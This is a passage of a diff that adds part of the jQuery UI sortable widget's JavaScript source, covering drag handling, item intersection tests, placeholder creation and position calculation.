+ top: event.pageY - this.offset.top
3034
+ },
3035
+ parent: this._getParentOffset(),
3036
+ relative: this._getRelativeOffset() //This is a relative to absolute position minus the actual position calculation - only used for relative positioned helper
3037
+ });
3038
+
3039
+ //Generate the original position
3040
+ this.originalPosition = this._generatePosition(event);
3041
+ this.originalPageX = event.pageX;
3042
+ this.originalPageY = event.pageY;
3043
+
3044
+ //Adjust the mouse offset relative to the helper if 'cursorAt' is supplied
3045
+ (o.cursorAt && this._adjustOffsetFromHelper(o.cursorAt));
3046
+
3047
+ //Cache the former DOM position
3048
+ this.domPosition = { prev: this.currentItem.prev()[0], parent: this.currentItem.parent()[0] };
3049
+
3050
+ //If the helper is not the original, hide the original so it's not playing any role during the drag, won't cause anything bad this way
3051
+ if(this.helper[0] != this.currentItem[0]) {
3052
+ this.currentItem.hide();
3053
+ }
3054
+
3055
+ //Create the placeholder
3056
+ this._createPlaceholder();
3057
+
3058
+ //Set a containment if given in the options
3059
+ if(o.containment)
3060
+ this._setContainment();
3061
+
3062
+ if(o.cursor) { // cursor option
3063
+ if ($('body').css("cursor")) this._storedCursor = $('body').css("cursor");
3064
+ $('body').css("cursor", o.cursor);
3065
+ }
3066
+
3067
+ if(o.opacity) { // opacity option
3068
+ if (this.helper.css("opacity")) this._storedOpacity = this.helper.css("opacity");
3069
+ this.helper.css("opacity", o.opacity);
3070
+ }
3071
+
3072
+ if(o.zIndex) { // zIndex option
3073
+ if (this.helper.css("zIndex")) this._storedZIndex = this.helper.css("zIndex");
3074
+ this.helper.css("zIndex", o.zIndex);
3075
+ }
3076
+
3077
+ //Prepare scrolling
3078
+ if(this.scrollParent[0] != document && this.scrollParent[0].tagName != 'HTML')
3079
+ this.overflowOffset = this.scrollParent.offset();
3080
+
3081
+ //Call callbacks
3082
+ this._trigger("start", event, this._uiHash());
3083
+
3084
+ //Recache the helper size
3085
+ if(!this._preserveHelperProportions)
3086
+ this._cacheHelperProportions();
3087
+
3088
+
3089
+ //Post 'activate' events to possible containers
3090
+ if(!noActivation) {
3091
+ for (var i = this.containers.length - 1; i >= 0; i--) { this.containers[i]._trigger("activate", event, self._uiHash(this)); }
3092
+ }
3093
+
3094
+ //Prepare possible droppables
3095
+ if($.ui.ddmanager)
3096
+ $.ui.ddmanager.current = this;
3097
+
3098
+ if ($.ui.ddmanager && !o.dropBehaviour)
3099
+ $.ui.ddmanager.prepareOffsets(this, event);
3100
+
3101
+ this.dragging = true;
3102
+
3103
+ this.helper.addClass("ui-sortable-helper");
3104
+ this._mouseDrag(event); //Execute the drag once - this causes the helper not to be visible before getting its correct position
3105
+ return true;
3106
+
3107
+ },
3108
+
3109
+ _mouseDrag: function(event) {
3110
+
3111
+ //Compute the helpers position
3112
+ this.position = this._generatePosition(event);
3113
+ this.positionAbs = this._convertPositionTo("absolute");
3114
+
3115
+ if (!this.lastPositionAbs) {
3116
+ this.lastPositionAbs = this.positionAbs;
3117
+ }
3118
+
3119
+ //Do scrolling
3120
+ if(this.options.scroll) {
3121
+ var o = this.options, scrolled = false;
3122
+ if(this.scrollParent[0] != document && this.scrollParent[0].tagName != 'HTML') {
3123
+
3124
+ if((this.overflowOffset.top + this.scrollParent[0].offsetHeight) - event.pageY < o.scrollSensitivity)
3125
+ this.scrollParent[0].scrollTop = scrolled = this.scrollParent[0].scrollTop + o.scrollSpeed;
3126
+ else if(event.pageY - this.overflowOffset.top < o.scrollSensitivity)
3127
+ this.scrollParent[0].scrollTop = scrolled = this.scrollParent[0].scrollTop - o.scrollSpeed;
3128
+
3129
+ if((this.overflowOffset.left + this.scrollParent[0].offsetWidth) - event.pageX < o.scrollSensitivity)
3130
+ this.scrollParent[0].scrollLeft = scrolled = this.scrollParent[0].scrollLeft + o.scrollSpeed;
3131
+ else if(event.pageX - this.overflowOffset.left < o.scrollSensitivity)
3132
+ this.scrollParent[0].scrollLeft = scrolled = this.scrollParent[0].scrollLeft - o.scrollSpeed;
3133
+
3134
+ } else {
3135
+
3136
+ if(event.pageY - $(document).scrollTop() < o.scrollSensitivity)
3137
+ scrolled = $(document).scrollTop($(document).scrollTop() - o.scrollSpeed);
3138
+ else if($(window).height() - (event.pageY - $(document).scrollTop()) < o.scrollSensitivity)
3139
+ scrolled = $(document).scrollTop($(document).scrollTop() + o.scrollSpeed);
3140
+
3141
+ if(event.pageX - $(document).scrollLeft() < o.scrollSensitivity)
3142
+ scrolled = $(document).scrollLeft($(document).scrollLeft() - o.scrollSpeed);
3143
+ else if($(window).width() - (event.pageX - $(document).scrollLeft()) < o.scrollSensitivity)
3144
+ scrolled = $(document).scrollLeft($(document).scrollLeft() + o.scrollSpeed);
3145
+
3146
+ }
3147
+
3148
+ if(scrolled !== false && $.ui.ddmanager && !o.dropBehaviour)
3149
+ $.ui.ddmanager.prepareOffsets(this, event);
3150
+ }
3151
+
3152
+ //Regenerate the absolute position used for position checks
3153
+ this.positionAbs = this._convertPositionTo("absolute");
3154
+
3155
+ //Set the helper position
3156
+ if(!this.options.axis || this.options.axis != "y") this.helper[0].style.left = this.position.left+'px';
3157
+ if(!this.options.axis || this.options.axis != "x") this.helper[0].style.top = this.position.top+'px';
3158
+
3159
+ //Rearrange
3160
+ for (var i = this.items.length - 1; i >= 0; i--) {
3161
+
3162
+ //Cache variables and intersection, continue if no intersection
3163
+ var item = this.items[i], itemElement = item.item[0], intersection = this._intersectsWithPointer(item);
3164
+ if (!intersection) continue;
3165
+
3166
+ if(itemElement != this.currentItem[0] //cannot intersect with itself
3167
+ && this.placeholder[intersection == 1 ? "next" : "prev"]()[0] != itemElement //no useless actions that have been done before
3168
+ && !$.ui.contains(this.placeholder[0], itemElement) //no action if the item moved is the parent of the item checked
3169
+ && (this.options.type == 'semi-dynamic' ? !$.ui.contains(this.element[0], itemElement) : true)
3170
+ //&& itemElement.parentNode == this.placeholder[0].parentNode // only rearrange items within the same container
3171
+ ) {
3172
+
3173
+ this.direction = intersection == 1 ? "down" : "up";
3174
+
3175
+ if (this.options.tolerance == "pointer" || this._intersectsWithSides(item)) {
3176
+ this._rearrange(event, item);
3177
+ } else {
3178
+ break;
3179
+ }
3180
+
3181
+ this._trigger("change", event, this._uiHash());
3182
+ break;
3183
+ }
3184
+ }
3185
+
3186
+ //Post events to containers
3187
+ this._contactContainers(event);
3188
+
3189
+ //Interconnect with droppables
3190
+ if($.ui.ddmanager) $.ui.ddmanager.drag(this, event);
3191
+
3192
+ //Call callbacks
3193
+ this._trigger('sort', event, this._uiHash());
3194
+
3195
+ this.lastPositionAbs = this.positionAbs;
3196
+ return false;
3197
+
3198
+ },
3199
+
3200
+ _mouseStop: function(event, noPropagation) {
3201
+
3202
+ if(!event) return;
3203
+
3204
+ //If we are using droppables, inform the manager about the drop
3205
+ if ($.ui.ddmanager && !this.options.dropBehaviour)
3206
+ $.ui.ddmanager.drop(this, event);
3207
+
3208
+ if(this.options.revert) {
3209
+ var self = this;
3210
+ var cur = self.placeholder.offset();
3211
+
3212
+ self.reverting = true;
3213
+
3214
+ $(this.helper).animate({
3215
+ left: cur.left - this.offset.parent.left - self.margins.left + (this.offsetParent[0] == document.body ? 0 : this.offsetParent[0].scrollLeft),
3216
+ top: cur.top - this.offset.parent.top - self.margins.top + (this.offsetParent[0] == document.body ? 0 : this.offsetParent[0].scrollTop)
3217
+ }, parseInt(this.options.revert, 10) || 500, function() {
3218
+ self._clear(event);
3219
+ });
3220
+ } else {
3221
+ this._clear(event, noPropagation);
3222
+ }
3223
+
3224
+ return false;
3225
+
3226
+ },
3227
+
3228
+ cancel: function() {
3229
+
3230
+ var self = this;
3231
+
3232
+ if(this.dragging) {
3233
+
3234
+ this._mouseUp({ target: null });
3235
+
3236
+ if(this.options.helper == "original")
3237
+ this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper");
3238
+ else
3239
+ this.currentItem.show();
3240
+
3241
+ //Post deactivating events to containers
3242
+ for (var i = this.containers.length - 1; i >= 0; i--){
3243
+ this.containers[i]._trigger("deactivate", null, self._uiHash(this));
3244
+ if(this.containers[i].containerCache.over) {
3245
+ this.containers[i]._trigger("out", null, self._uiHash(this));
3246
+ this.containers[i].containerCache.over = 0;
3247
+ }
3248
+ }
3249
+
3250
+ }
3251
+
3252
+ if (this.placeholder) {
3253
+ //$(this.placeholder[0]).remove(); would have been the jQuery way - unfortunately, it unbinds ALL events from the original node!
3254
+ if(this.placeholder[0].parentNode) this.placeholder[0].parentNode.removeChild(this.placeholder[0]);
3255
+ if(this.options.helper != "original" && this.helper && this.helper[0].parentNode) this.helper.remove();
3256
+
3257
+ $.extend(this, {
3258
+ helper: null,
3259
+ dragging: false,
3260
+ reverting: false,
3261
+ _noFinalSort: null
3262
+ });
3263
+
3264
+ if(this.domPosition.prev) {
3265
+ $(this.domPosition.prev).after(this.currentItem);
3266
+ } else {
3267
+ $(this.domPosition.parent).prepend(this.currentItem);
3268
+ }
3269
+ }
3270
+
3271
+ return this;
3272
+
3273
+ },
3274
+
3275
+ serialize: function(o) {
3276
+
3277
+ var items = this._getItemsAsjQuery(o && o.connected);
3278
+ var str = []; o = o || {};
3279
+
3280
+ $(items).each(function() {
3281
+ var res = ($(o.item || this).attr(o.attribute || 'id') || '').match(o.expression || (/(.+)[-=_](.+)/));
3282
+ if(res) str.push((o.key || res[1]+'[]')+'='+(o.key && o.expression ? res[1] : res[2]));
3283
+ });
3284
+
3285
+ if(!str.length && o.key) {
3286
+ str.push(o.key + '=');
3287
+ }
3288
+
3289
+ return str.join('&');
3290
+
3291
+ },
3292
+
3293
+ toArray: function(o) {
3294
+
3295
+ var items = this._getItemsAsjQuery(o && o.connected);
3296
+ var ret = []; o = o || {};
3297
+
3298
+ items.each(function() { ret.push($(o.item || this).attr(o.attribute || 'id') || ''); });
3299
+ return ret;
3300
+
3301
+ },
3302
+
3303
+ /* Be careful with the following core functions */
3304
+ _intersectsWith: function(item) {
3305
+
3306
+ var x1 = this.positionAbs.left,
3307
+ x2 = x1 + this.helperProportions.width,
3308
+ y1 = this.positionAbs.top,
3309
+ y2 = y1 + this.helperProportions.height;
3310
+
3311
+ var l = item.left,
3312
+ r = l + item.width,
3313
+ t = item.top,
3314
+ b = t + item.height;
3315
+
3316
+ var dyClick = this.offset.click.top,
3317
+ dxClick = this.offset.click.left;
3318
+
3319
+ var isOverElement = (y1 + dyClick) > t && (y1 + dyClick) < b && (x1 + dxClick) > l && (x1 + dxClick) < r;
3320
+
3321
+ if( this.options.tolerance == "pointer"
3322
+ || this.options.forcePointerForContainers
3323
+ || (this.options.tolerance != "pointer" && this.helperProportions[this.floating ? 'width' : 'height'] > item[this.floating ? 'width' : 'height'])
3324
+ ) {
3325
+ return isOverElement;
3326
+ } else {
3327
+
3328
+ return (l < x1 + (this.helperProportions.width / 2) // Right Half
3329
+ && x2 - (this.helperProportions.width / 2) < r // Left Half
3330
+ && t < y1 + (this.helperProportions.height / 2) // Bottom Half
3331
+ && y2 - (this.helperProportions.height / 2) < b ); // Top Half
3332
+
3333
+ }
3334
+ },
3335
+
3336
+ _intersectsWithPointer: function(item) {
3337
+
3338
+ var isOverElementHeight = (this.options.axis === 'x') || $.ui.isOverAxis(this.positionAbs.top + this.offset.click.top, item.top, item.height),
3339
+ isOverElementWidth = (this.options.axis === 'y') || $.ui.isOverAxis(this.positionAbs.left + this.offset.click.left, item.left, item.width),
3340
+ isOverElement = isOverElementHeight && isOverElementWidth,
3341
+ verticalDirection = this._getDragVerticalDirection(),
3342
+ horizontalDirection = this._getDragHorizontalDirection();
3343
+
3344
+ if (!isOverElement)
3345
+ return false;
3346
+
3347
+ return this.floating ?
3348
+ ( ((horizontalDirection && horizontalDirection == "right") || verticalDirection == "down") ? 2 : 1 )
3349
+ : ( verticalDirection && (verticalDirection == "down" ? 2 : 1) );
3350
+
3351
+ },
3352
+
3353
+ _intersectsWithSides: function(item) {
3354
+
3355
+ var isOverBottomHalf = $.ui.isOverAxis(this.positionAbs.top + this.offset.click.top, item.top + (item.height/2), item.height),
3356
+ isOverRightHalf = $.ui.isOverAxis(this.positionAbs.left + this.offset.click.left, item.left + (item.width/2), item.width),
3357
+ verticalDirection = this._getDragVerticalDirection(),
3358
+ horizontalDirection = this._getDragHorizontalDirection();
3359
+
3360
+ if (this.floating && horizontalDirection) {
3361
+ return ((horizontalDirection == "right" && isOverRightHalf) || (horizontalDirection == "left" && !isOverRightHalf));
3362
+ } else {
3363
+ return verticalDirection && ((verticalDirection == "down" && isOverBottomHalf) || (verticalDirection == "up" && !isOverBottomHalf));
3364
+ }
3365
+
3366
+ },
3367
+
3368
+ _getDragVerticalDirection: function() {
3369
+ var delta = this.positionAbs.top - this.lastPositionAbs.top;
3370
+ return delta != 0 && (delta > 0 ? "down" : "up");
3371
+ },
3372
+
3373
+ _getDragHorizontalDirection: function() {
3374
+ var delta = this.positionAbs.left - this.lastPositionAbs.left;
3375
+ return delta != 0 && (delta > 0 ? "right" : "left");
3376
+ },
3377
+
3378
+ refresh: function(event) {
3379
+ this._refreshItems(event);
3380
+ this.refreshPositions();
3381
+ return this;
3382
+ },
3383
+
3384
+ _connectWith: function() {
3385
+ var options = this.options;
3386
+ return options.connectWith.constructor == String
3387
+ ? [options.connectWith]
3388
+ : options.connectWith;
3389
+ },
3390
+
3391
+ _getItemsAsjQuery: function(connected) {
3392
+
3393
+ var self = this;
3394
+ var items = [];
3395
+ var queries = [];
3396
+ var connectWith = this._connectWith();
3397
+
3398
+ if(connectWith && connected) {
3399
+ for (var i = connectWith.length - 1; i >= 0; i--){
3400
+ var cur = $(connectWith[i]);
3401
+ for (var j = cur.length - 1; j >= 0; j--){
3402
+ var inst = $.data(cur[j], this.widgetName);
3403
+ if(inst && inst != this && !inst.options.disabled) {
3404
+ queries.push([$.isFunction(inst.options.items) ? inst.options.items.call(inst.element) : $(inst.options.items, inst.element).not(".ui-sortable-helper").not('.ui-sortable-placeholder'), inst]);
3405
+ }
3406
+ };
3407
+ };
3408
+ }
3409
+
3410
+ queries.push([$.isFunction(this.options.items) ? this.options.items.call(this.element, null, { options: this.options, item: this.currentItem }) : $(this.options.items, this.element).not(".ui-sortable-helper").not('.ui-sortable-placeholder'), this]);
3411
+
3412
+ for (var i = queries.length - 1; i >= 0; i--){
3413
+ queries[i][0].each(function() {
3414
+ items.push(this);
3415
+ });
3416
+ };
3417
+
3418
+ return $(items);
3419
+
3420
+ },
3421
+
3422
+ _removeCurrentsFromItems: function() {
3423
+
3424
+ var list = this.currentItem.find(":data(" + this.widgetName + "-item)");
3425
+
3426
+ for (var i=0; i < this.items.length; i++) {
3427
+
3428
+ for (var j=0; j < list.length; j++) {
3429
+ if(list[j] == this.items[i].item[0])
3430
+ this.items.splice(i,1);
3431
+ };
3432
+
3433
+ };
3434
+
3435
+ },
3436
+
3437
+ _refreshItems: function(event) {
3438
+
3439
+ this.items = [];
3440
+ this.containers = [this];
3441
+ var items = this.items;
3442
+ var self = this;
3443
+ var queries = [[$.isFunction(this.options.items) ? this.options.items.call(this.element[0], event, { item: this.currentItem }) : $(this.options.items, this.element), this]];
3444
+ var connectWith = this._connectWith();
3445
+
3446
+ if(connectWith && this.ready) { //Shouldn't be run the first time through due to massive slow-down
3447
+ for (var i = connectWith.length - 1; i >= 0; i--){
3448
+ var cur = $(connectWith[i]);
3449
+ for (var j = cur.length - 1; j >= 0; j--){
3450
+ var inst = $.data(cur[j], this.widgetName);
3451
+ if(inst && inst != this && !inst.options.disabled) {
3452
+ queries.push([$.isFunction(inst.options.items) ? inst.options.items.call(inst.element[0], event, { item: this.currentItem }) : $(inst.options.items, inst.element), inst]);
3453
+ this.containers.push(inst);
3454
+ }
3455
+ };
3456
+ };
3457
+ }
3458
+
3459
+ for (var i = queries.length - 1; i >= 0; i--) {
3460
+ var targetData = queries[i][1];
3461
+ var _queries = queries[i][0];
3462
+
3463
+ for (var j=0, queriesLength = _queries.length; j < queriesLength; j++) {
3464
+ var item = $(_queries[j]);
3465
+
3466
+ item.data(this.widgetName + '-item', targetData); // Data for target checking (mouse manager)
3467
+
3468
+ items.push({
3469
+ item: item,
3470
+ instance: targetData,
3471
+ width: 0, height: 0,
3472
+ left: 0, top: 0
3473
+ });
3474
+ };
3475
+ };
3476
+
3477
+ },
3478
+
3479
+ refreshPositions: function(fast) {
3480
+
3481
+ //This has to be redone because due to the item being moved out/into the offsetParent, the offsetParent's position will change
3482
+ if(this.offsetParent && this.helper) {
3483
+ this.offset.parent = this._getParentOffset();
3484
+ }
3485
+
3486
+ for (var i = this.items.length - 1; i >= 0; i--){
3487
+ var item = this.items[i];
3488
+
3489
+ //We ignore calculating positions of all connected containers when we're not over them
3490
+ if(item.instance != this.currentContainer && this.currentContainer && item.item[0] != this.currentItem[0])
3491
+ continue;
3492
+
3493
+ var t = this.options.toleranceElement ? $(this.options.toleranceElement, item.item) : item.item;
3494
+
3495
+ if (!fast) {
3496
+ item.width = t.outerWidth();
3497
+ item.height = t.outerHeight();
3498
+ }
3499
+
3500
+ var p = t.offset();
3501
+ item.left = p.left;
3502
+ item.top = p.top;
3503
+ };
3504
+
3505
+ if(this.options.custom && this.options.custom.refreshContainers) {
3506
+ this.options.custom.refreshContainers.call(this);
3507
+ } else {
3508
+ for (var i = this.containers.length - 1; i >= 0; i--){
3509
+ var p = this.containers[i].element.offset();
3510
+ this.containers[i].containerCache.left = p.left;
3511
+ this.containers[i].containerCache.top = p.top;
3512
+ this.containers[i].containerCache.width = this.containers[i].element.outerWidth();
3513
+ this.containers[i].containerCache.height = this.containers[i].element.outerHeight();
3514
+ };
3515
+ }
3516
+
3517
+ return this;
3518
+ },
3519
+
3520
+ _createPlaceholder: function(that) {
3521
+
3522
+ var self = that || this, o = self.options;
3523
+
3524
+ if(!o.placeholder || o.placeholder.constructor == String) {
3525
+ var className = o.placeholder;
3526
+ o.placeholder = {
3527
+ element: function() {
3528
+
3529
+ var el = $(document.createElement(self.currentItem[0].nodeName))
3530
+ .addClass(className || self.currentItem[0].className+" ui-sortable-placeholder")
3531
+ .removeClass("ui-sortable-helper")[0];
3532
+
3533
+ if(!className)
3534
+ el.style.visibility = "hidden";
3535
+
3536
+ return el;
3537
+ },
3538
+ update: function(container, p) {
3539
+
3540
+ // 1. If a className is set as 'placeholder option, we don't force sizes - the class is responsible for that
3541
+ // 2. The option 'forcePlaceholderSize can be enabled to force it even if a class name is specified
3542
+ if(className && !o.forcePlaceholderSize) return;
3543
+
3544
+ //If the element doesn't have a actual height by itself (without styles coming from a stylesheet), it receives the inline height from the dragged item
3545
+ if(!p.height()) { p.height(self.currentItem.innerHeight() - parseInt(self.currentItem.css('paddingTop')||0, 10) - parseInt(self.currentItem.css('paddingBottom')||0, 10)); };
3546
+ if(!p.width()) { p.width(self.currentItem.innerWidth() - parseInt(self.currentItem.css('paddingLeft')||0, 10) - parseInt(self.currentItem.css('paddingRight')||0, 10)); };
3547
+ }
3548
+ };
3549
+ }
3550
+
3551
+ //Create the placeholder
3552
+ self.placeholder = $(o.placeholder.element.call(self.element, self.currentItem));
3553
+
3554
+ //Append it after the actual current item
3555
+ self.currentItem.after(self.placeholder);
3556
+
3557
+ //Update the size of the placeholder (TODO: Logic to fuzzy, see line 316/317)
3558
+ o.placeholder.update(self, self.placeholder);
3559
+
3560
+ },
3561
+
3562
+ _contactContainers: function(event) {
3563
+
3564
+ // get innermost container that intersects with item
3565
+ var innermostContainer = null, innermostIndex = null;
3566
+
3567
+
3568
+ for (var i = this.containers.length - 1; i >= 0; i--){
3569
+
3570
+ // never consider a container that's located within the item itself
3571
+ if($.ui.contains(this.currentItem[0], this.containers[i].element[0]))
3572
+ continue;
3573
+
3574
+ if(this._intersectsWith(this.containers[i].containerCache)) {
3575
+
3576
+ // if we've already found a container and it's more "inner" than this, then continue
3577
+ if(innermostContainer && $.ui.contains(this.containers[i].element[0], innermostContainer.element[0]))
3578
+ continue;
3579
+
3580
+ innermostContainer = this.containers[i];
3581
+ innermostIndex = i;
3582
+
3583
+ } else {
3584
+ // container doesn't intersect. trigger "out" event if necessary
3585
+ if(this.containers[i].containerCache.over) {
3586
+ this.containers[i]._trigger("out", event, this._uiHash(this));
3587
+ this.containers[i].containerCache.over = 0;
3588
+ }
3589
+ }
3590
+
3591
+ }
3592
+
3593
+ // if no intersecting containers found, return
3594
+ if(!innermostContainer) return;
3595
+
3596
+ // move the item into the container if it's not there already
3597
+ if(this.containers.length === 1) {
3598
+ this.containers[innermostIndex]._trigger("over", event, this._uiHash(this));
3599
+ this.containers[innermostIndex].containerCache.over = 1;
3600
+ } else if(this.currentContainer != this.containers[innermostIndex]) {
3601
+
3602
+ //When entering a new container, we will find the item with the least distance and append our item near it
3603
+ var dist = 10000; var itemWithLeastDistance = null; var base = this.positionAbs[this.containers[innermostIndex].floating ? 'left' : 'top'];
3604
+ for (var j = this.items.length - 1; j >= 0; j--) {
3605
+ if(!$.ui.contains(this.containers[innermostIndex].element[0], this.items[j].item[0])) continue;
3606
+ var cur = this.items[j][this.containers[innermostIndex].floating ? 'left' : 'top'];
3607
+ if(Math.abs(cur - base) < dist) {
3608
+ dist = Math.abs(cur - base); itemWithLeastDistance = this.items[j];
3609
+ }
3610
+ }
3611
+
3612
+ if(!itemWithLeastDistance && !this.options.dropOnEmpty) //Check if dropOnEmpty is enabled
3613
+ return;
3614
+
3615
+ this.currentContainer = this.containers[innermostIndex];
3616
+ itemWithLeastDistance ? this._rearrange(event, itemWithLeastDistance, null, true) : this._rearrange(event, null, this.containers[innermostIndex].element, true);
3617
+ this._trigger("change", event, this._uiHash());
3618
+ this.containers[innermostIndex]._trigger("change", event, this._uiHash(this));
3619
+
3620
+ //Update the placeholder
3621
+ this.options.placeholder.update(this.currentContainer, this.placeholder);
3622
+
3623
+ this.containers[innermostIndex]._trigger("over", event, this._uiHash(this));
3624
+ this.containers[innermostIndex].containerCache.over = 1;
3625
+ }
3626
+
3627
+
3628
+ },
3629
+
3630
+ _createHelper: function(event) {
3631
+
3632
+ var o = this.options;
3633
+ var helper = $.isFunction(o.helper) ? $(o.helper.apply(this.element[0], [event, this.currentItem])) : (o.helper == 'clone' ? this.currentItem.clone() : this.currentItem);
3634
+
3635
+ if(!helper.parents('body').length) //Add the helper to the DOM if that didn't happen already
3636
+ $(o.appendTo != 'parent' ? o.appendTo : this.currentItem[0].parentNode)[0].appendChild(helper[0]);
3637
+
3638
+ if(helper[0] == this.currentItem[0])
3639
+ this._storedCSS = { width: this.currentItem[0].style.width, height: this.currentItem[0].style.height, position: this.currentItem.css("position"), top: this.currentItem.css("top"), left: this.currentItem.css("left") };
3640
+
3641
+ if(helper[0].style.width == '' || o.forceHelperSize) helper.width(this.currentItem.width());
3642
+ if(helper[0].style.height == '' || o.forceHelperSize) helper.height(this.currentItem.height());
3643
+
3644
+ return helper;
3645
+
3646
+ },
3647
+
3648
+ _adjustOffsetFromHelper: function(obj) {
3649
+ if (typeof obj == 'string') {
3650
+ obj = obj.split(' ');
3651
+ }
3652
+ if ($.isArray(obj)) {
3653
+ obj = {left: +obj[0], top: +obj[1] || 0};
3654
+ }
3655
+ if ('left' in obj) {
3656
+ this.offset.click.left = obj.left + this.margins.left;
3657
+ }
3658
+ if ('right' in obj) {
3659
+ this.offset.click.left = this.helperProportions.width - obj.right + this.margins.left;
3660
+ }
3661
+ if ('top' in obj) {
3662
+ this.offset.click.top = obj.top + this.margins.top;
3663
+ }
3664
+ if ('bottom' in obj) {
3665
+ this.offset.click.top = this.helperProportions.height - obj.bottom + this.margins.top;
3666
+ }
3667
+ },
3668
+
3669
+ _getParentOffset: function() {
3670
+
3671
+
3672
+ //Get the offsetParent and cache its position
3673
+ this.offsetParent = this.helper.offsetParent();
3674
+ var po = this.offsetParent.offset();
3675
+
3676
+ // This is a special case where we need to modify a offset calculated on start, since the following happened:
3677
+ // 1. The position of the helper is absolute, so it's position is calculated based on the next positioned parent
3678
+ // 2. The actual offset parent is a child of the scroll parent, and the scroll parent isn't the document, which means that
3679
+ // the scroll is included in the initial calculation of the offset of the parent, and never recalculated upon drag
3680
+ if(this.cssPosition == 'absolute' && this.scrollParent[0] != document && $.ui.contains(this.scrollParent[0], this.offsetParent[0])) {
3681
+ po.left += this.scrollParent.scrollLeft();
3682
+ po.top += this.scrollParent.scrollTop();
3683
+ }
3684
+
3685
+ if((this.offsetParent[0] == document.body) //This needs to be actually done for all browsers, since pageX/pageY includes this information
3686
+ || (this.offsetParent[0].tagName && this.offsetParent[0].tagName.toLowerCase() == 'html' && $.browser.msie)) //Ugly IE fix
3687
+ po = { top: 0, left: 0 };
3688
+
3689
+ return {
3690
+ top: po.top + (parseInt(this.offsetParent.css("borderTopWidth"),10) || 0),
3691
+ left: po.left + (parseInt(this.offsetParent.css("borderLeftWidth"),10) || 0)
3692
+ };
3693
+
3694
+ },
3695
+
3696
+ _getRelativeOffset: function() {
3697
+
3698
+ if(this.cssPosition == "relative") {
3699
+ var p = this.currentItem.position();
3700
+ return {
3701
+ top: p.top - (parseInt(this.helper.css("top"),10) || 0) + this.scrollParent.scrollTop(),
3702
+ left: p.left - (parseInt(this.helper.css("left"),10) || 0) + this.scrollParent.scrollLeft()
3703
+ };
3704
+ } else {
3705
+ return { top: 0, left: 0 };
3706
+ }
3707
+
3708
+ },
3709
+
3710
+ _cacheMargins: function() {
3711
+ this.margins = {
3712
+ left: (parseInt(this.currentItem.css("marginLeft"),10) || 0),
3713
+ top: (parseInt(this.currentItem.css("marginTop"),10) || 0)
3714
+ };
3715
+ },
3716
+
3717
+ _cacheHelperProportions: function() {
3718
+ this.helperProportions = {
3719
+ width: this.helper.outerWidth(),
3720
+ height: this.helper.outerHeight()
3721
+ };
3722
+ },
3723
+
3724
+ _setContainment: function() {
3725
+
3726
+ var o = this.options;
3727
+ if(o.containment == 'parent') o.containment = this.helper[0].parentNode;
3728
+ if(o.containment == 'document' || o.containment == 'window') this.containment = [
3729
+ 0 - this.offset.relative.left - this.offset.parent.left,
3730
+ 0 - this.offset.relative.top - this.offset.parent.top,
3731
+ $(o.containment == 'document' ? document : window).width() - this.helperProportions.width - this.margins.left,
3732
+ ($(o.containment == 'document' ? document : window).height() || document.body.parentNode.scrollHeight) - this.helperProportions.height - this.margins.top
3733
+ ];
3734
+
3735
+ if(!(/^(document|window|parent)$/).test(o.containment)) {
3736
+ var ce = $(o.containment)[0];
3737
+ var co = $(o.containment).offset();
3738
+ var over = ($(ce).css("overflow") != 'hidden');
3739
+
3740
+ this.containment = [
3741
+ co.left + (parseInt($(ce).css("borderLeftWidth"),10) || 0) + (parseInt($(ce).css("paddingLeft"),10) || 0) - this.margins.left,
3742
+ co.top + (parseInt($(ce).css("borderTopWidth"),10) || 0) + (parseInt($(ce).css("paddingTop"),10) || 0) - this.margins.top,
3743
+ co.left+(over ? Math.max(ce.scrollWidth,ce.offsetWidth) : ce.offsetWidth) - (parseInt($(ce).css("borderLeftWidth"),10) || 0) - (parseInt($(ce).css("paddingRight"),10) || 0) - this.helperProportions.width - this.margins.left,
3744
+ co.top+(over ? Math.max(ce.scrollHeight,ce.offsetHeight) : ce.offsetHeight) - (parseInt($(ce).css("borderTopWidth"),10) || 0) - (parseInt($(ce).css("paddingBottom"),10) || 0) - this.helperProportions.height - this.margins.top
3745
+ ];
3746
+ }
3747
+
3748
+ },
3749
+
3750
+ _convertPositionTo: function(d, pos) {
3751
+
3752
+ if(!pos) pos = this.position;
3753
+ var mod = d == "absolute" ? 1 : -1;
3754
+ var o = this.options, scroll = this.cssPosition == 'absolute' && !(this.scrollParent[0] != document && $.ui.contains(this.scrollParent[0], this.offsetParent[0])) ? this.offsetParent : this.scrollParent, scrollIsRootNode = (/(html|body)/i).test(scroll[0].tagName);
3755
+
3756
+ return {
3757
+ top: (
3758
+ pos.top // The absolute mouse position
3759
+ + this.offset.relative.top * mod // Only for relative positioned nodes: Relative offset from element to offset parent
3760
+ + this.offset.parent.top * mod // The offsetParent's offset without borders (offset + border)
3761
+ - ($.browser.safari && this.cssPosition == 'fixed' ? 0 : ( this.cssPosition == 'fixed' ? -this.scrollParent.scrollTop() : ( scrollIsRootNode ? 0 : scroll.scrollTop() ) ) * mod)
3762
+ ),
3763
+ left: (
3764
+ pos.left // The absolute mouse position
3765
+ + this.offset.relative.left * mod // Only for relative positioned nodes: Relative offset from element to offset parent
3766
+ + this.offset.parent.left * mod // The offsetParent's offset without borders (offset + border)
3767
+ - ($.browser.safari && this.cssPosition == 'fixed' ? 0 : ( this.cssPosition == 'fixed' ? -this.scrollParent.scrollLeft() : scrollIsRootNode ? 0 : scroll.scrollLeft() ) * mod)
3768
+ )
3769
+ };
3770
+
3771
+ },
3772
+
3773
+ _generatePosition: function(event) {
3774
+
3775
+ var o = this.options, scroll = this.cssPosition == 'absolute' && !(this.scrollParent[0] != document && $.ui.contains(this.scrollParent[0], this.offsetParent[0])) ? this.offsetParent : this.scrollParent, scrollIsRootNode = (/(html|body)/i).test(scroll[0].tagName);
3776
+
3777
+ // This is another very weird special case that only happens for relative elements:
3778
+ // 1. If the css position is relative
3779
+ // 2. and the scroll parent is the document or similar to the offset parent
3780
+ // we have to refresh the relative offset during the scroll so there are no jumps
3781
+ if(this.cssPosition == 'relative' && !(this.scrollParent[0] != document && this.scrollParent[0] != this.offsetParent[0])) {
3782
+ this.offset.relative = this._getRelativeOffset();
3783
+ }
3784
+
3785
+ var pageX = event.pageX;
3786
+ var pageY = event.pageY;
3787
+
3788
+ /*
3789
+ * - Position constraining -
3790
+ * Constrain the position to a mix of grid, containment.
3791
+ */
3792
+
3793
+ if(this.originalPosition) { //If we are not dragging yet, we won't check for options
3794
+
3795
+ if(this.containment) {
3796
+ if(event.pageX - this.offset.click.left < this.containment[0]) pageX = this.containment[0] + this.offset.click.left;
3797
